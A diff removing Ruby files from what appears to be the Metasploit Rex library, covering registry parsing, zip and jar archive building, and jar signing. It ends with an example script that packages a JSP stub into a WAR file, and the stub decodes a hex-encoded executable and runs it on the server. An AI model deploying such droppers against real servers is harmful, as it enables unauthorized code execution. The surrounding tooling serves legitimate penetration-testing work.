def initialize(hive, offset, length, datatype, parent_offset)
|
||||
offset = offset + 4
|
||||
|
||||
#If the data-size is lower than 5, the data-offset value is used to store
|
||||
#the data itself!
|
||||
if length < 5
|
||||
@data = hive[parent_offset + 0x08, 4]
|
||||
else
|
||||
@data = hive[offset + 0x1000, length]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,29 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require_relative "valuekey"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class ValueList
|
||||
|
||||
attr_accessor :values
|
||||
|
||||
def initialize(hive, offset, number_of_values)
|
||||
offset = offset + 4
|
||||
inner_offset = 0
|
||||
|
||||
@values = []
|
||||
|
||||
1.upto(number_of_values) do |v|
|
||||
valuekey_offset = hive[offset + inner_offset, 4]
|
||||
next if !valuekey_offset
|
||||
|
||||
valuekey_offset = valuekey_offset.unpack('V').first
|
||||
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
|
||||
inner_offset = inner_offset + 4
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
2010
lib/rex/text.rb
2010
lib/rex/text.rb
File diff suppressed because it is too large
Load Diff
|
@ -1,130 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
#
|
||||
# This represents an entire archive.
|
||||
#
|
||||
class Archive
|
||||
|
||||
# An array of the Entry objects stored in this Archive.
|
||||
attr_reader :entries
|
||||
|
||||
|
||||
def initialize(compmeth=CM_DEFLATE)
|
||||
@compmeth = compmeth
|
||||
@entries = []
|
||||
end
|
||||
|
||||
#
|
||||
# Recursively adds a directory of files into the archive.
|
||||
#
|
||||
def add_r(dir)
|
||||
path = File.dirname(dir)
|
||||
Dir[File.join(dir, "**", "**")].each do |file|
|
||||
relative = file.sub(/^#{path.chomp('/')}\//, '')
|
||||
if File.directory?(file)
|
||||
@entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil)
|
||||
else
|
||||
contents = File.read(file, :mode => 'rb')
|
||||
@entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new Entry and add it to the archive.
|
||||
#
|
||||
# If fdata is set, the file is populated with that data
|
||||
# from the calling method. If fdata is nil, then the
|
||||
# fs is checked for the file. If central_dir_name is set
|
||||
# it will be used to spoof the name at the Central Directory
|
||||
# at packing time.
|
||||
#
|
||||
def add_file(fname, fdata=nil, xtra=nil, comment=nil, central_dir_name=nil)
|
||||
if (not fdata)
|
||||
begin
|
||||
st = File.stat(fname)
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
|
||||
ts = st.mtime
|
||||
if (st.directory?)
|
||||
attrs = EFA_ISDIR
|
||||
fdata = ''
|
||||
unless fname[-1,1] == '/'
|
||||
fname += '/'
|
||||
end
|
||||
else
|
||||
f = File.open(fname, 'rb')
|
||||
fdata = f.read(f.stat.size)
|
||||
f.close
|
||||
end
|
||||
end
|
||||
|
||||
@entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment, central_dir_name)
|
||||
end
|
||||
|
||||
|
||||
def set_comment(comment)
|
||||
@comment = comment
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Write the compressed file to +fname+.
|
||||
#
|
||||
def save_to(fname)
|
||||
f = File.open(fname, 'wb')
|
||||
f.write(pack)
|
||||
f.close
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Compress this archive and return the resulting zip file as a String.
|
||||
#
|
||||
def pack
|
||||
ret = ''
|
||||
|
||||
# save the offests
|
||||
offsets = []
|
||||
|
||||
# file 1 .. file n
|
||||
@entries.each { |ent|
|
||||
offsets << ret.length
|
||||
ret << ent.pack
|
||||
}
|
||||
|
||||
# archive decryption header (unsupported)
|
||||
# archive extra data record (unsupported)
|
||||
|
||||
# central directory
|
||||
cfd_offset = ret.length
|
||||
idx = 0
|
||||
@entries.each { |ent|
|
||||
cfd = CentralDir.new(ent, offsets[idx])
|
||||
ret << cfd.pack
|
||||
idx += 1
|
||||
}
|
||||
|
||||
# zip64 end of central dir record (unsupported)
|
||||
# zip64 end of central dir locator (unsupported)
|
||||
|
||||
# end of central directory record
|
||||
cur_offset = ret.length - cfd_offset
|
||||
ret << CentralDirEnd.new(@entries.length, cur_offset, cfd_offset, @comment).pack
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
def inspect
|
||||
"#<#{self.class} entries = [#{@entries.map{|e| e.name}.join(",")}]>"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,184 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
|
||||
#
|
||||
# This structure holds the following data pertaining to a Zip entry's data.
|
||||
#
|
||||
# data crc
|
||||
# compressed size
|
||||
# uncompressed size
|
||||
#
|
||||
class CompInfo
|
||||
|
||||
def initialize(crc, compsz, uncompsz)
|
||||
@crc, @compsz, @uncompsz = crc, compsz, uncompsz
|
||||
end
|
||||
|
||||
def pack
|
||||
[ @crc, @compsz, @uncompsz ].pack('VVV')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure holds the following data pertaining to a Zip entry.
|
||||
#
|
||||
# general purpose bit flag
|
||||
# compression method
|
||||
# modification time
|
||||
# modification date
|
||||
#
|
||||
class CompFlags
|
||||
|
||||
attr_accessor :compmeth
|
||||
|
||||
def initialize(gpbf, compmeth, timestamp)
|
||||
@gpbf = gpbf
|
||||
@compmeth = compmeth
|
||||
@mod_time = ((timestamp.hour << 11) | (timestamp.min << 5) | (timestamp.sec))
|
||||
@mod_date = (((timestamp.year - 1980) << 9) | (timestamp.mon << 5) | (timestamp.day))
|
||||
end
|
||||
|
||||
def pack
|
||||
[ @gpbf, @compmeth, @mod_time, @mod_date ].pack('vvvv')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# This structure is sometimes stored after the file data and used
|
||||
# instead of the fields within the Local File Header.
|
||||
#
|
||||
class DataDesc
|
||||
|
||||
SIGNATURE = 0x8074b50
|
||||
|
||||
def initialize(compinfo)
|
||||
@compinfo = compinfo
|
||||
end
|
||||
|
||||
def pack
|
||||
ret = [ SIGNATURE ].pack('V')
|
||||
ret << @compinfo.pack
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure records the compression data and flags about
|
||||
# a Zip entry to a file.
|
||||
#
|
||||
class LocalFileHdr
|
||||
|
||||
SIGNATURE = 0x4034b50
|
||||
|
||||
def initialize(entry)
|
||||
@entry = entry
|
||||
end
|
||||
|
||||
def pack
|
||||
path = @entry.relative_path
|
||||
|
||||
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
|
||||
ret << @entry.flags.pack
|
||||
ret << @entry.info.pack
|
||||
ret << [ path.length, @entry.xtra.length ].pack('vv')
|
||||
ret << path
|
||||
ret << @entry.xtra
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure holds all of the information about a particular Zip Entry
|
||||
# as it is contained within the central directory.
|
||||
#
|
||||
class CentralDir
|
||||
|
||||
SIGNATURE = 0x2014b50
|
||||
|
||||
def initialize(entry, offset)
|
||||
@entry = entry
|
||||
@disknum_start = 0
|
||||
@attr_int = 0
|
||||
@attr_ext = 0x20
|
||||
@hdr_offset = offset
|
||||
end
|
||||
|
||||
def pack
|
||||
if @entry.central_dir_name.to_s.strip.empty?
|
||||
path = @entry.relative_path
|
||||
else
|
||||
path = @entry.central_dir_path
|
||||
end
|
||||
|
||||
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
|
||||
ret << [ ZIP_VERSION ].pack('v')
|
||||
ret << @entry.flags.pack
|
||||
ret << @entry.info.pack
|
||||
arr = []
|
||||
arr << path.length
|
||||
arr << @entry.xtra.length
|
||||
arr << @entry.comment.length
|
||||
arr << @disknum_start
|
||||
arr << @attr_int
|
||||
arr << @entry.attrs
|
||||
arr << @hdr_offset
|
||||
ret << arr.pack('vvvvvVV')
|
||||
ret << path
|
||||
ret << @entry.xtra
|
||||
ret << @entry.comment
|
||||
# digital signature not supported
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure is written after the per-entry central directory records to
|
||||
# provide information about the archive as a whole.
|
||||
#
|
||||
class CentralDirEnd
|
||||
|
||||
SIGNATURE = 0x6054b50
|
||||
|
||||
def initialize(ncfd, cfdsz, offset, comment=nil)
|
||||
@disk_no = 0
|
||||
@disk_dir_start = 0
|
||||
@ncfd_this_disk = ncfd
|
||||
@ncfd_total = ncfd
|
||||
@cfd_size = cfdsz
|
||||
@start_offset = offset
|
||||
@comment = comment
|
||||
@comment ||= ''
|
||||
end
|
||||
|
||||
|
||||
def pack
|
||||
arr = []
|
||||
arr << SIGNATURE
|
||||
arr << @disk_no
|
||||
arr << @disk_dir_start
|
||||
arr << @ncfd_this_disk
|
||||
arr << @ncfd_total
|
||||
arr << @cfd_size
|
||||
arr << @start_offset
|
||||
arr << @comment.length
|
||||
(arr.pack('VvvvvVVv') + @comment)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,122 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
#
|
||||
# An Entry represents a logical file or directory to be stored in an Archive
|
||||
#
|
||||
class Entry
|
||||
|
||||
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
|
||||
attr_reader :data
|
||||
|
||||
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
|
||||
@name = fname.unpack("C*").pack("C*")
|
||||
@central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
|
||||
@data = data.unpack("C*").pack("C*")
|
||||
@xtra = xtra
|
||||
@xtra ||= ''
|
||||
@comment = comment
|
||||
@comment ||= ''
|
||||
@attrs = attrs
|
||||
@attrs ||= 0
|
||||
|
||||
# XXX: sanitize timestmap (assume now)
|
||||
timestamp ||= Time.now
|
||||
@flags = CompFlags.new(0, compmeth, timestamp)
|
||||
|
||||
if (@data)
|
||||
compress
|
||||
else
|
||||
@data = ''
|
||||
@info = CompInfo.new(0, 0, 0)
|
||||
end
|
||||
@compdata ||= ''
|
||||
end
|
||||
|
||||
def data=(val)
|
||||
@data = val.unpack("C*").pack("C*")
|
||||
compress
|
||||
end
|
||||
|
||||
#
|
||||
# Compress the #data and store it for later use. If this entry's compression method
|
||||
# produces a larger blob than the original data, the method is changed to CM_STORE.
|
||||
#
|
||||
def compress
|
||||
@crc = Zlib.crc32(@data, 0)
|
||||
case @flags.compmeth
|
||||
|
||||
when CM_STORE
|
||||
@compdata = @data
|
||||
|
||||
when CM_DEFLATE
|
||||
z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
|
||||
@compdata = z.deflate(@data, Zlib::FINISH)
|
||||
z.close
|
||||
@compdata = @compdata[2, @compdata.length-6]
|
||||
|
||||
else
|
||||
raise 'Unsupported compression method: %u' % @flags.compmeth
|
||||
end
|
||||
|
||||
# if compressing doesn't help, just store it
|
||||
if (@compdata.length > @data.length)
|
||||
@compdata = @data
|
||||
@flags.compmeth = CM_STORE
|
||||
end
|
||||
|
||||
@info = CompInfo.new(@crc, @compdata.length, @data.length)
|
||||
end
|
||||
|
||||
|
||||
def relative_path
|
||||
get_relative_path(@name)
|
||||
end
|
||||
|
||||
def central_dir_path
|
||||
return nil if @central_dir_name.to_s.strip.empty?
|
||||
get_relative_path(@central_dir_name)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Return the compressed data in a format suitable for adding to an Archive
|
||||
#
|
||||
def pack
|
||||
# - lfh 1
|
||||
lfh = LocalFileHdr.new(self)
|
||||
ret = lfh.pack
|
||||
|
||||
# - data 1
|
||||
if (@compdata)
|
||||
ret << @compdata
|
||||
end
|
||||
|
||||
if (@gpbf & GPBF_USE_DATADESC)
|
||||
# - data desc 1
|
||||
dd = DataDesc.new(@info)
|
||||
ret << dd.pack
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
def inspect
|
||||
"#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def get_relative_path(path)
|
||||
if (path[0,1] == '/')
|
||||
return path[1, path.length]
|
||||
end
|
||||
path
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,283 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/zip/archive'
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
#
|
||||
# A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
|
||||
# those classes. Several variations exist based on the same idea of class
|
||||
# files inside a zip, most notably:
|
||||
# - WAR files store XML files, Java classes, JSPs and other stuff for
|
||||
# servlet-based webservers (e.g.: Tomcat and Glassfish)
|
||||
# - APK files are Android Package files
|
||||
#
|
||||
class Jar < Archive
|
||||
attr_accessor :manifest
|
||||
# @!attribute [rw] substitutions
|
||||
# The substitutions to apply when randomizing. Randomization is designed to
|
||||
# be used in packages and/or classes names.
|
||||
#
|
||||
# @return [Hash]
|
||||
attr_accessor :substitutions
|
||||
|
||||
def initialize
|
||||
@substitutions = {}
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Create a MANIFEST.MF file based on the current Archive#entries.
|
||||
#
|
||||
# See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
|
||||
# some explanation of the format.
|
||||
#
|
||||
# Example MANIFEST.MF
|
||||
# Manifest-Version: 1.0
|
||||
# Main-Class: metasploit.Payload
|
||||
#
|
||||
# Name: metasploit.dat
|
||||
# SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
|
||||
#
|
||||
# Name: metasploit/Payload.class
|
||||
# SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
|
||||
#
|
||||
# The SHA1-Digest lines are optional unless the jar is signed (see #sign).
|
||||
#
|
||||
def build_manifest(opts={})
|
||||
main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
|
||||
app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
|
||||
existing_manifest = nil
|
||||
meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
|
||||
|
||||
@manifest = "Manifest-Version: 1.0\r\n"
|
||||
@manifest << "Main-Class: #{main_class}\r\n" if main_class
|
||||
@manifest << "Application-Name: #{app_name}\r\n" if app_name
|
||||
@manifest << "Permissions: all-permissions\r\n"
|
||||
@manifest << "\r\n"
|
||||
@entries.each { |e|
|
||||
next if e.name =~ %r|/$|
|
||||
if e.name == "META-INF/MANIFEST.MF"
|
||||
existing_manifest = e
|
||||
next
|
||||
end
|
||||
#next unless e.name =~ /\.class$/
|
||||
@manifest << "Name: #{e.name}\r\n"
|
||||
#@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
|
||||
@manifest << "\r\n"
|
||||
}
|
||||
if existing_manifest
|
||||
existing_manifest.data = @manifest
|
||||
else
|
||||
add_file("META-INF/", '') unless meta_inf_exists
|
||||
add_file("META-INF/MANIFEST.MF", @manifest)
|
||||
end
|
||||
end
|
||||
|
||||
def to_s
|
||||
pack
|
||||
end
|
||||
|
||||
#
|
||||
# Length of the *compressed* blob
|
||||
#
|
||||
def length
|
||||
pack.length
|
||||
end
|
||||
|
||||
#
|
||||
# Add multiple files from an array
|
||||
#
|
||||
# +files+ should be structured like so:
|
||||
# [
|
||||
# [ "path", "to", "file1" ],
|
||||
# [ "path", "to", "file2" ]
|
||||
# ]
|
||||
# and +path+ should be the location on the file system to find the files to
|
||||
# add. +base_dir+ will be prepended to the path inside the jar.
|
||||
#
|
||||
# Example:
|
||||
# war = Rex::Zip::Jar.new
|
||||
# war.add_file("WEB-INF/", '')
|
||||
# war.add_file("WEB-INF/web.xml", web_xml)
|
||||
# war.add_file("WEB-INF/classes/", '')
|
||||
# files = [
|
||||
# [ "servlet", "examples", "HelloWorld.class" ],
|
||||
# [ "Foo.class" ],
|
||||
# [ "servlet", "Bar.class" ],
|
||||
# ]
|
||||
# war.add_files(files, "./class_files/", "WEB-INF/classes/")
|
||||
#
|
||||
# The above code would create a jar with the following structure from files
|
||||
# found in ./class_files/ :
|
||||
#
|
||||
# +- WEB-INF/
|
||||
# +- web.xml
|
||||
# +- classes/
|
||||
# +- Foo.class
|
||||
# +- servlet/
|
||||
# +- Bar.class
|
||||
# +- examples/
|
||||
# +- HelloWorld.class
|
||||
#
|
||||
def add_files(files, path, base_dir="")
|
||||
files.each do |file|
|
||||
# Add all of the subdirectories if they don't already exist
|
||||
1.upto(file.length - 1) do |idx|
|
||||
full = base_dir + file[0,idx].join("/") + "/"
|
||||
if !(entries.map{|e|e.name}.include?(full))
|
||||
add_file(full, '')
|
||||
end
|
||||
end
|
||||
# Now add the actual file, grabbing data from the filesystem
|
||||
fd = File.open(File.join( path, file ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
add_file(base_dir + file.join("/"), data)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
|
||||
# an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
|
||||
# instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
|
||||
#
|
||||
# This method aims to create signature files compatible with the jarsigner
|
||||
# tool destributed with the JDK and any JVM should accept the resulting
|
||||
# jar.
|
||||
#
|
||||
# === Signature contents
|
||||
# Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
|
||||
# each Name section. The signature consists of two files, a .SF and a .DSA
|
||||
# (or .RSA if signing with an RSA key). The .SF file is similar to the
|
||||
# manifest with Name sections but the SHA1-Digest is not optional. The
|
||||
# difference is in what gets hashed for the SHA1-Digest line -- in the
|
||||
# manifest, it is the file's contents, in the .SF, it is the file's section
|
||||
# in the manifest (including trailing newline!). The .DSA/.RSA file is a
|
||||
# PKCS7 signature of the .SF file contents.
|
||||
#
|
||||
# === Links
|
||||
# A short description of the format:
|
||||
# http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
|
||||
#
|
||||
# Some info on importing a private key into a keystore which is not
|
||||
# directly supported by keytool for some unfathomable reason
|
||||
# http://www.agentbob.info/agentbob/79-AB.html
|
||||
#
|
||||
def sign(key, cert, ca_certs=nil)
|
||||
m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
|
||||
raise RuntimeError.new("Jar has no manifest") unless m
|
||||
|
||||
ca_certs ||= [ cert ]
|
||||
|
||||
new_manifest = ''
|
||||
sigdata = "Signature-Version: 1.0\r\n"
|
||||
sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
|
||||
sigdata << "\r\n"
|
||||
|
||||
# Grab the sections of the manifest
|
||||
files = m.data.split(/\r?\n\r?\n/)
|
||||
if files[0] =~ /Manifest-Version/
|
||||
# keep the header as is
|
||||
new_manifest << files[0]
|
||||
new_manifest << "\r\n\r\n"
|
||||
files = files[1,files.length]
|
||||
end
|
||||
|
||||
# The file sections should now look like this:
|
||||
# "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
|
||||
files.each do |f|
|
||||
next unless f =~ /Name: (.*)/
|
||||
name = $1
|
||||
e = self.entries.find { |e| e.name == name }
|
||||
if e
|
||||
digest = OpenSSL::Digest::SHA1.digest(e.data)
|
||||
manifest_section = "Name: #{name}\r\n"
|
||||
manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
|
||||
manifest_section << "\r\n"
|
||||
|
||||
manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
|
||||
|
||||
sigdata << "Name: #{name}\r\n"
|
||||
sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
|
||||
new_manifest << manifest_section
|
||||
end
|
||||
end
|
||||
|
||||
# Now overwrite with the new manifest
|
||||
m.data = new_manifest
|
||||
|
||||
flags = 0
|
||||
flags |= OpenSSL::PKCS7::BINARY
|
||||
flags |= OpenSSL::PKCS7::DETACHED
|
||||
# SMIME and ATTRs are technically valid in the signature but they
|
||||
# both screw up the java verifier, so don't include them.
|
||||
flags |= OpenSSL::PKCS7::NOSMIMECAP
|
||||
flags |= OpenSSL::PKCS7::NOATTR
|
||||
|
||||
signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
|
||||
sigalg = case key
|
||||
when OpenSSL::PKey::RSA; "RSA"
|
||||
when OpenSSL::PKey::DSA; "DSA"
|
||||
# Don't really know what to do if it's not DSA or RSA. Can
|
||||
# OpenSSL::PKCS7 actually sign stuff with it in that case?
|
||||
# Regardless, the java spec says signatures can only be RSA,
|
||||
# DSA, or PGP, so just assume it's PGP and hope for the best
|
||||
else; "PGP"
|
||||
end
|
||||
|
||||
# SIGNFILE is the default name in documentation. MYKEY is probably
|
||||
# more common, though because that's what keytool defaults to. We
|
||||
# can probably randomize this with no ill effects.
|
||||
add_file("META-INF/SIGNFILE.SF", sigdata)
|
||||
add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
# Adds a file to the JAR, randomizing the file name
|
||||
# and the contents.
|
||||
#
|
||||
# @see Rex::Zip::Archive#add_file
|
||||
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
|
||||
super(randomize(fname), randomize(fdata), xtra, comment)
|
||||
end
|
||||
|
||||
# Adds a substitution to have into account when randomizing. Substitutions
|
||||
# must be added immediately after {#initialize}.
|
||||
#
|
||||
# @param str [String] String to substitute. It's designed to randomize
|
||||
# class and/or package names.
|
||||
# @param bad [String] String containing bad characters to avoid when
|
||||
# applying substitutions.
|
||||
# @return [String] The substitution which will be used when randomizing.
|
||||
def add_sub(str, bad = '')
|
||||
if @substitutions.key?(str)
|
||||
return @substitutions[str]
|
||||
end
|
||||
|
||||
@substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
|
||||
end
|
||||
|
||||
# Randomizes an input by applying the `substitutions` available.
|
||||
#
|
||||
# @param str [String] String to randomize.
|
||||
# @return [String] The input `str` with all the possible `substitutions`
|
||||
# applied.
|
||||
def randomize(str)
|
||||
return str if str.nil?
|
||||
|
||||
random = str
|
||||
|
||||
@substitutions.each do |orig, subs|
|
||||
random = str.gsub(orig, subs)
|
||||
end
|
||||
|
||||
random
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,32 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Create a zip file with comments!
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
inc = File.dirname(msfbase) + '/../../..'
|
||||
$:.unshift(inc)
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
# example usage
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file("elite.txt", "A" * 1024, nil, %Q<
|
||||
+---------------+
|
||||
| file comment! |
|
||||
+---------------+
|
||||
>)
|
||||
zip.set_comment(%Q<
|
||||
|
||||
+------------------------------------------+
|
||||
| |
|
||||
| Hello! This is the Zip Archive comment! |
|
||||
| |
|
||||
+------------------------------------------+
|
||||
|
||||
>)
|
||||
zip.save_to("lolz.zip")
|
|
@ -1,138 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Create a WAR archive!
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
inc = File.dirname(msfbase) + '/../../..'
|
||||
$:.unshift(inc)
|
||||
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
|
||||
def rand_text_alpha(len)
|
||||
buff = ""
|
||||
|
||||
foo = []
|
||||
foo += ('A' .. 'Z').to_a
|
||||
foo += ('a' .. 'z').to_a
|
||||
|
||||
# Generate a buffer from the remaining bytes
|
||||
if foo.length >= 256
|
||||
len.times { buff << Kernel.rand(256) }
|
||||
else
|
||||
len.times { buff << foo[ rand(foo.length) ] }
|
||||
end
|
||||
|
||||
return buff
|
||||
end
|
||||
|
||||
|
||||
exe = "exe " * 1024
|
||||
var_payload = "var_payload"
|
||||
var_name = "var_name"
|
||||
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
# begin meta-inf/
|
||||
minf = [ 0xcafe, 0x0003 ].pack('Vv')
|
||||
zip.add_file('META-INF/', nil, minf)
|
||||
# end meta-inf/
|
||||
|
||||
# begin meta-inf/manifest.mf
|
||||
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
|
||||
zip.add_file('META-INF/MANIFEST.MF', mfraw)
|
||||
# end meta-inf/manifest.mf
|
||||
|
||||
# begin web-inf/
|
||||
zip.add_file('WEB-INF/', '')
|
||||
# end web-inf/
|
||||
|
||||
# begin web-inf/web.xml
|
||||
webxmlraw = %q{<?xml version="1.0" ?>
|
||||
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
|
||||
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
|
||||
version="2.4">
|
||||
<servlet>
|
||||
<servlet-name>NAME</servlet-name>
|
||||
<jsp-file>/PAYLOAD.jsp</jsp-file>
|
||||
</servlet>
|
||||
</web-app>
|
||||
}
|
||||
|
||||
webxmlraw.gsub!(/NAME/, var_name)
|
||||
webxmlraw.gsub!(/PAYLOAD/, var_payload)
|
||||
|
||||
zip.add_file('WEB-INF/web.xml', webxmlraw)
|
||||
# end web-inf/web.xml
|
||||
|
||||
# begin <payload>.jsp
|
||||
var_hexpath = rand_text_alpha(rand(8)+8)
|
||||
var_exepath = rand_text_alpha(rand(8)+8)
|
||||
var_data = rand_text_alpha(rand(8)+8)
|
||||
var_inputstream = rand_text_alpha(rand(8)+8)
|
||||
var_outputstream = rand_text_alpha(rand(8)+8)
|
||||
var_numbytes = rand_text_alpha(rand(8)+8)
|
||||
var_bytearray = rand_text_alpha(rand(8)+8)
|
||||
var_bytes = rand_text_alpha(rand(8)+8)
|
||||
var_counter = rand_text_alpha(rand(8)+8)
|
||||
var_char1 = rand_text_alpha(rand(8)+8)
|
||||
var_char2 = rand_text_alpha(rand(8)+8)
|
||||
var_comb = rand_text_alpha(rand(8)+8)
|
||||
var_exe = rand_text_alpha(rand(8)+8)
|
||||
var_hexfile = rand_text_alpha(rand(8)+8)
|
||||
var_proc = rand_text_alpha(rand(8)+8)
|
||||
|
||||
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
||||
jspraw << "<%\n"
|
||||
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
|
||||
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
||||
jspraw << "String #{var_data} = \"\";\n"
|
||||
|
||||
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
||||
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
||||
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
||||
|
||||
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
||||
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
||||
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
||||
jspraw << "#{var_inputstream}.close();\n"
|
||||
|
||||
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
||||
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
||||
jspraw << "{\n"
|
||||
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
||||
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
||||
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
||||
jspraw << "#{var_comb} <<= 4;\n"
|
||||
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
||||
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
||||
jspraw << "#{var_outputstream}.close();\n"
|
||||
|
||||
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
||||
jspraw << "%>\n"
|
||||
|
||||
zip.add_file("#{var_payload}.jsp", jspraw)
|
||||
# end <payload>.jsp
|
||||
|
||||
# begin <payload>.txt
|
||||
payloadraw = exe.unpack('H*')[0]
|
||||
zip.add_file("#{var_hexfile}.txt", payloadraw)
|
||||
# end <payload>.txt
|
||||
|
||||
|
||||
